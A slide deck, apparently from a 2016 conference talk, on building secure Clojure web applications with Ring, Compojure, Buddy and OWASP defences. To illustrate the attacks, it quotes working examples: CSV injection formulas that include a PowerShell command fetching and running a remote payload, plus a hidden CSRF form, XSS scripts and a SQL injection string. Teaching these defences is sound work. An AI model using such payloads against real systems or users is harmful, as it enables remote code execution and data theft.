Slide 1

Slide 1 text

Secure Web Applications in Clojure CommitterConf 2016 Joy Clark

Slide 2

Slide 2 text

Who am I? Functional Programming Enthusiast Consultant at innoQ Deutschland GmbH Enjoy API Design Program in: Java, Clojure, Groovy, Python, Prolog, JavaScript

Slide 3

Slide 3 text

Clojure Crash Course ( p r i n t l n " H e l l o E s s e n ! " ) Lisp + JVM Functional programming language Simple programming model Immutable Data Structures

Slide 4

Slide 4 text

Clojure Crash Course { : n a m e " C l o j u r e " : f e a t u r e s [ : f u n c t i o n a l : j v m : p a r e n s ] : c r e a t o r " R i c h H i c k e y " : s t a b l e - v e r s i o n { : n u m b e r " 1 . 8 . 0 " : r e l e a s e " 2 0 1 6 / 0 1 / 1 9 " } }

Slide 5

Slide 5 text

Clojure Crash Course ( + 1 2 3 ) > 6 ( : c i t y { : n a m e " i n n o Q " : c i t y " M o n h e i m " } ) > " M o n h e i m " ( m a p i n c [ 1 2 3 ] ) > ( 2 3 4 )

Slide 6

Slide 6 text

Web Security As always... check the OWASP Top 10 2013 Injection Weak Authentication / Session Handling XSS Insecure Object References Security Misconfigurations Sensitive Data Exposure Missing Function Level Access Control Cross Site Request Forgery Using Components with Known Vulnerabilities Unvalidated Redirects and Forwards still relevant today? -> OWASP Top 10 2016 not yet out but on its way. Meanwhile...

Slide 7

Slide 7 text

But a framework can do that right?

Slide 8

Slide 8 text

Some Advisories (Bashing PHP)

Slide 9

Slide 9 text

Some Advisories (Bashing Python)

Slide 10

Slide 10 text

Some Advisories (Bashing Ruby)

Slide 11

Slide 11 text

Some Advisories (Bashing Java)

Slide 12

Slide 12 text

Security ≠ Magical Frameworks (public-domain Vasnetsov - belygorod.ru)

Slide 13

Slide 13 text

CSV Injection Example HTML Injection = H Y P E R L I N K ( " h t t p : / / e v i l . t m " ; " D e t a i l e d I n f o r m a t i o n " ) Launching the calculator = c m d | ' / C c a l c ' ! A 0 Use wget extension to download and execute remote payload = p o w e r s h e l l | ' I E X ( w g e t 0 r . p e / p ) ' ! A 0 Source: https://blog.zsec.uk/csv-dangers-mitigations/

Slide 14

Slide 14 text

Security = Teamwork + Review (cc-by Kevin Dooley - flic.kr/p/dxCnzT)

Slide 15

Slide 15 text

How to Write a Secure Web Application Maintain your application Stay informed! Register for Security Advisories KISS Know what you are doing Monitor your Application

Slide 16

Slide 16 text

Clojure Web Applications

Slide 17

Slide 17 text

HTTP with Clojure Java HTTP Server Ring Server Adapter request response  request response Ring - HTTP Server abstraction Request & response are data A web app is a function which takes a request and returns a response https://github.com/ring-clojure/ring/blob/master/SPEC

Slide 18

Slide 18 text

Ring Requests & Responses ( d e f r e q u e s t { : u r i " / " : r e q u e s t - m e t h o d : g e t : h e a d e r s { " A c c e p t " " t e x t / p l a i n " } } ) ( d e f n e x a m p l e - a p p [ r e q ] { : s t a t u s 2 0 0 : b o d y ( s t r " H e l l o " ( : u r i r e q ) " ! " ) } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y e x a m p l e - a p p { : p o r t 4 0 0 0 } ) webapp Java HTTP Server Ring Server Adapter

Slide 19

Slide 19 text

Ring Middleware modi ed request (i.e. added session info) modi ed response (i.e. added headers) request response middleware modi ed request modi ed response response modi ed request response request condition? tru e fa ls e ( d e f n m i d d l e w a r e [ h a n d l e r ] ( f n [ r e q u e s t ] ; ; M o d i f y r e q u e s t b e f o r e s e n d i n g i t t o t h e w e b a p p ( l e t [ r e s p o n s e ( h a n d l e r r e q u e s t ) ] ; ; m o d i f y r e s p o n s e b e f o r e r e t u r n i n g i t t o t h e u s e r r e s p o n s e ) ) )

Slide 20

Slide 20 text

Routing with Compojure  route 1 route 2 route 3 not-found request response ( d e f r o u t e s a p p - r o u t e s ( G E T " / " r e q u e s t ( l i s t - u s e r s r e q u e s t ) ) ( P O S T " / " { p a r a m s : p a r a m s : a s r e q u e s t } ( a d d - u s e r r e q u e s t p a r a m s ) ) ( G E T " / : u s e r n a m e " [ u s e r n a m e : a s r e q u e s t ] ( g e t - u s e r r e q u e s t u s e r n a m e ) ) ( P U T " / : u s e r n a m e " [ u s e r n a m e e m a i l p a s s w o r d : a s r e q u e s t ] ( u p d a t e - u s e r r e q u e s t u s e r n a m e e m a i l p a s s w o r d ) ) ( D E L E T E " / : u s e r n a m e " [ u s e r n a m e ] ( d e l e t e - u s e r u s e r n a m e ) ) )

Slide 21

Slide 21 text

Putting it all together ( d e f w e b a p p ( - > a p p - r o u t e s a u t h - m i d d l e w a r e ( w r a p - d e f a u l t s s e c u r e - s i t e - d e f a u l t s ) ) ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p { : p o r t 4 0 0 0 } ) auth? h a n d le n o a u th ring secure defaults GET /:user POST / GET / PUT /:user DELETE /:user not-found list users add user get user update user delete user handle not found Java HTTP Server Ring Server Adapter

Slide 22

Slide 22 text

Ecosystem Overview

Slide 23

Slide 23 text

So let's try it!

Slide 24

Slide 24 text

CSRF < i m g s r c = " h t t p s : / / b a n k . c o m / t r a n s f e r ? a c c t = j o y & a m o u n t = 1 0 0 0 0 " w i d t h = " 0 " h e i g h t = " 0 " b o r d e r = " 0 " > < f o r m a c t i o n = " h t t p s : / / b a n k . c o m / t r a n s f e r " m e t h o d = " P O S T " > < i n p u t t y p e = " h i d d e n " n a m e = " a c c t " v a l u e = " j o y " / > < i n p u t t y p e = " h i d d e n " n a m e = " a m o u n t " v a l u e = " 1 0 0 0 0 " / > < i n p u t t y p e = " s u b m i t " v a l u e = " D o s o m e t h i n g i n n o c e n t ! " / > < / f o r m >

Slide 25

Slide 25 text

ring.middleware.anti-forgery ( r e q u i r e ' [ r i n g . m i d d l e w a r e . a n t i - f o r g e r y : r e f e r [ * a n t i - f o r g e r y - t o k e n * ] ] ) ( s e l m e r . p a r s e r / r e n d e r - f i l e " i n d e x . h t m l " { : a n t i f o r g e r y * a n t i - f o r g e r y - t o k e n * } ) i n d e x . h t m l : < f o r m . . . > < i n p u t n a m e = " _ _ a n t i - f o r g e r y - t o k e n " t y p e = " h i d d e n " v a l u e = " { { a n t i f o r g e r y } } " / > . . . < / f o r m >

Slide 26

Slide 26 text

HTTPS ( d e f o p t i o n s { : p o r t 3 0 0 0 : j o i n ? f a l s e : s s l ? t r u e : s s l - p o r t 4 0 0 0 : k e y s t o r e " s s l / k e y s t o r e " : k e y - p a s s w o r d " s o m e s e c r e t " : h o s t " e x a m p l e . c o m " } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p o p t i o n s ) Use SSL! Attacks don't stop at your Reverse Proxy.

Slide 27

Slide 27 text

Validate Input - Escape Output ( r e q u i r e ' [ b o u n c e r . v a l i d a t o r s : a s v ] ) ( d e f e m a i l - r e g e x # " ^ $ | ^ [ a - z A - Z 0 - 9 . _ % + - ] + @ [ a - z A - Z 0 - 9 . - ] + \ . [ a - z A - Z ] { 2 , 6 3 } $ " ) ( b o u n c e r . c o r e / v a l i d a t e { : e m a i l " 1 2 3 " } : u s e r n a m e [ v / r e q u i r e d v / s t r i n g ] : e m a i l [ v / s t r i n g [ v / m a t c h e s e m a i l - r e g e x ] ] : p a s s w o r d [ v / r e q u i r e d v / s t r i n g ] ) > [ { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } { : e m a i l " 1 2 3 " : b o u n c e r . c o r e / e r r o r s { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } } ]

Slide 28

Slide 28 text

Validate Input - Escape Output ( s e l m e r . p a r s e r / r e n d e r " H e l l o { { n a m e } } ! " { : n a m e " < s c r i p t > a l e r t ( ' h i ! ' ) ; < / s c r i p t > " } ) > " H e l l o & l t ; s c r i p t & g t ; a l e r t ( & # 3 9 ; h i ! & # 3 9 ; ) ; & l t ; / s c r i p t & g t ; ! "

Slide 29

Slide 29 text

Validate Input - Escape Output Templating Language Escaping by default? # GitHub References Last Updated No 15744 29 Mar 2016 Yes 11628 11 Dec 2015 Yes 7432 9 Jul 2016 Yes 3852 23 Jun 2016 No 1983 10 Nov 2014 hiccup hbs enlive Selmer fleet Statistics taken on 26 August 2016

Slide 30

Slide 30 text

XSS ( d e f n g e t - h t m l [ n a m e ] ( s t r " < d i v > H i " n a m e " ! < / d i v > " ) ) ( g e t - h t m l " < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > " ) > " < d i v > H i < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > ! < / d i v > "

Slide 31

Slide 31 text

SQL Injection ( d e f n q u e r y - u s e r [ u s e r n a m e ] ( s q l / q u e r y d b - c o n n [ ( s t r " S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = ' " u s e r n a m e " ' ; " ) ] ) ) ( q u e r y - u s e r " f r e d ' o r ' a ' = ' a " ) > Dumps all information from the U s e r s database

Slide 32

Slide 32 text

Parameterize SQL Queries d b / u s e r s . s q l : - - n a m e : g e t - u s e r S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = : u s e r n a m e ; ( y e s q l . c o r e / d e f q u e r i e s " d b / u s e r s . s q l " { : c o n n e c t i o n d b - c o n n } ) ( g e t - u s e r { : u s e r n a m e " f r e d " } ) > { : u s e r n a m e " f r e d " : e m a i l " m r . f r o g g y @ q u a c k e r s . c o m " : u s e r i d 4 : p a s s w o r d " . . . s o m e b y c r y p t h a s h . . . " }

Slide 33

Slide 33 text

Authentication & Authorization How do I know if the user is who he says he is? How do I know if the user is allowed to access a resource?

Slide 34

Slide 34 text

Introducing Buddy

Slide 35

Slide 35 text

Buddy-Auth Ring Middleware Integration Authentication information saved in :identity in the request map Different Backends: HTTP Basic, Session, Token, Signed JWT, Encrpyted JWT Possibility to implement custom authentication backend (e.g. via reify)

Slide 36

Slide 36 text

Simple Auth Example ( r e q u i r e ' [ b u d d y . a u t h . b a c k e n d s : a s b a c k e n d s ] ) ( d e f n l d a p - a u t h [ r e q u e s t a u t h ] ( l e t [ u s e r n a m e ( : u s e r n a m e a u t h ) p a s s w o r d ( : p a s s w o r d a u t h ) ] ; d o m a g i c l d a p a u t h e n t i a t i o n ; r e t u r n l o g i c a l t r u e u s e r n a m e ) ) ( d e f b a c k e n d ( b a c k e n d s / b a s i c { : r e a l m " m y A P I " : a u t h f n l d a p - a u t h } ) )

Slide 37

Slide 37 text

Authorization with Buddy ( d e f a c c e s s - r u l e s [ { : u r i " / u s e r s " : h a n d l e r b u d d y . a u t h / a u t h e n t i c a t e d ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e / e d i t " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d # { : p u t : d e l e t e : p o s t } } ] ) ( d e f n i s - u s e r ? [ r e q u e s t ] ( w h e n - l e t [ { u s e r : u s e r } ( : i d e n t i t y r e q u e s t ) ] ( = u s e r ( g e t - i n r e q u e s t [ : m a t c h - p a r a m s : u s e r n a m e ] ) ) ) )

Slide 38

Slide 38 text

Auth Middleware ( d e f n e r r o r - r e d i r e c t [ r e q u e s t _ v a l u e ] ( r e d i r e c t - t o - l o g i n ( r e q u e s t - u r l r e q u e s t ) ) ) ( d e f n a u t h - m i d d l e w a r e [ h a n d l e r ] ( l e t [ b a c k e n d ( a u t h - b a c k e n d s e c r e t ) ] ( - > h a n d l e r ( w r a p - a c c e s s - r u l e s { : r u l e s a c c e s s - r u l e s : o n - e r r o r e r r o r - r e d i r e c t } ) ( w r a p - a u t h e n t i c a t i o n b a c k e n d ) ) ) )

Slide 39

Slide 39 text

Unvalidated Redirects and Forwards ( d e f s i t e - u r l " h t t p s : / / q u a c k e r s . c o m : 4 0 0 0 " ) ( d e f n c h e c k - r e d i r e c t [ u r l ] ( i f u r l ( i f ( s t a r t s - w i t h ? u r l s i t e - u r l ) u r l s i t e - u r l ) s i t e - u r l ) ) ( d e f n r e d i r e c t - t o - l o g i n [ r e d i r e c t - u r l ] ( r e d i r e c t ( s t r " / l o g i n ? r e d i r e c t - t o = " ( c h e c k - r e d i r e c t r e d i r e c t - u r l ) ) ) )

Slide 40

Slide 40 text

Denial of Service Attacks Making a service unavailable for the purpose for which it was intended. An attacker has more resources than a victim OR Victim requires more resources to process a request than the attacker requires to send it.

Slide 41

Slide 41 text

Naive - Limit defined by user ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] " 1 0 " ) ) o f f s e t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] " 0 " ) ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )

Slide 42

Slide 42 text

Better - Sensible Defaults ( d e f n g e t - l i m i t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] ) i ( - > i n t p a r a m ) ] ( m i n i 5 0 0 ) ) ( c a t c h E x c e p t i o n e 1 0 ) ) ) ( d e f n g e t - o f f s e t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] ) ] ( - > i n t p a r a m ) ) ( c a t c h E x c e p t i o n e 0 ) ) ) ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( g e t - l i m i t r e q u e s t ) o f f s e t ( g e t - o f f s e t r e q u e s t ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )

Slide 43

Slide 43 text

HTTP Security Headers ( d e f m i d d l e w a r e - s e t t i n g s { : s e s s i o n { : c o o k i e - a t t r s { : h t t p - o n l y t r u e : s e c u r e t r u e } } : s e c u r i t y { : a n t i - f o r g e r y t r u e : x s s - p r o t e c t i o n { : e n a b l e ? t r u e , : m o d e : b l o c k } : f r a m e - o p t i o n s : s a m e o r i g i n : c o n t e n t - t y p e - o p t i o n s : n o s n i f f : s s l - r e d i r e c t t r u e : h s t s t r u e } } ) "Ring-Defaults", e.g."api-defaults", "site-defaults", "secure-site-defaults", ...

Slide 44

Slide 44 text

Content Security Policy HTTP Header C o n t e n t - S e c u r i t y - P o l i c y : < P O L I C Y > Can "turn-off" Inline JavaScript and plugins Limit valid sources per content-type Provide Hashes and Nonces Reporting

Slide 45

Slide 45 text

CSP of Twitter.com c o n t e n t - s e c u r i t y - p o l i c y : s c r i p t - s r c h t t p s : / / c o n n e c t . f a c e b o o k . n e t h t t p s : / / c m . g . d o u b l e c l i c k . n e t [ . . ] ' u n s a f e - e v a l ' [ . . ] h t t p s : / / * . t w i m g . c o m h t t p s : / / a p i . t w i t t e r . c o m ' n o n c e - s w 4 H 7 y Z e W d I f c y r j z O 5 9 5 Q = = ' [ . . ] ' s e l f ' ; f r a m e - a n c e s t o r s ' s e l f ' ; f o n t - s r c [ . . ] m e d i a - s r c [ . . ] c o n n e c t - s r c [ . . ] s t y l e - s r c [ . . ] ' u n s a f e - i n l i n e ' ' s e l f ' ; o b j e c t - s r c [ . . ] f r a m e - s r c [ . . ] i m g - s r c [ . . ] h t t p s : / / * . g i p h y . c o m [ . . ] r e p o r t - u r i h t t p s : / / t w i t t e r . c o m / i / c s p _ r e p o r t ? a = 4 7 1 1 2 3 4 2 & r o = f a l s e ;

Slide 46

Slide 46 text

Thank you! https://www.innoq.com/en/talks/2016/10/sichere- webanwendungen-clojure-committerconf/ Joy Clark [email protected] @iamjoyclark